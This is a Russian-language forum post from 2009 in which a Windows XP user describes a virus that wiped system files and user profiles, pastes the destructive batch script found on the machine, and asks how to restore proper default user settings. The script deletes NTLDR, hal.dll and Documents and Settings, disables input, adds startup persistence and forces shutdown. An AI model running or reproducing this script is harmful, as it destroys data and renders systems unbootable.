| Sholoman |
28.08.2009 01:27 |
настройки пользователя winxp
Всем привет!
Зародилась проблема, по средине для открыл ***.exe после открытия файл уничтожился, сразу понял что вирус я начал искать файлы и нашел 2 батника в первом просто текст а втором вот
Код:
cd\
ATTRIB -R -H -S c:\*.*
del /f /s /q NTLDR
cd %windir%
cd system32
start c:\hello.bat \wait
rmdir /s /q "C:\Documents and Settings\"
del /f /s /q hal.dll
cd c:\windows/system32
del HAL.DLL /f /s /q
cd c:\windows/servicepackfiles/i386
del hal.dll /f /s /q
cd c:\windows/$NtServicePackUninstall$
del hal.dll /f /s /q
RUNDLL MOUSE,DISABLE
RUNDLL KEYBOARD,DISABLE
COPY %0 *path*
COPY %0 "C:/Documents and Settings\All Users\Start Menu\Programs\Startup
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v startAPI /t reg_sz /d *path to bat file\nameofbatfile.bat* /f
reg add hkey_current_user\software\microsoft\windows\currentversion\run /v owned /t reg_sz /d *path to bat file\nameofbatfile.bat* /f
ipconfig /release
shutdown -s -t 120 -c "You Have 180 Seconds To save Your HD Information"
полетела винда пропал файл ntldr я его восстановил, удалились еще все файлы пользователей их я тоже восстановил через рстудия.
Сейчас у меня осталась одна проблема, удалились с компьютера все пользователи кроме моего.
Если создать новый пользователь то у него все не работает например отображение скрытых файлов, нельзя поменять заставку, фон, шрифт и так далее но у моего пользователя все работает отлично!
Есть еще файл NTUSER.DAT знаете наверно в документах лежит, если на него тыкнуть то сразу вылетает експлотер из-за чего не знаю =(
Как мне создать нормального пользователя с нормальными привилегиями, я так понял поменялись в реестре настройки которые идут по умолчанию из этого следует ...
Можно ли это както устранить ? Помогите...
|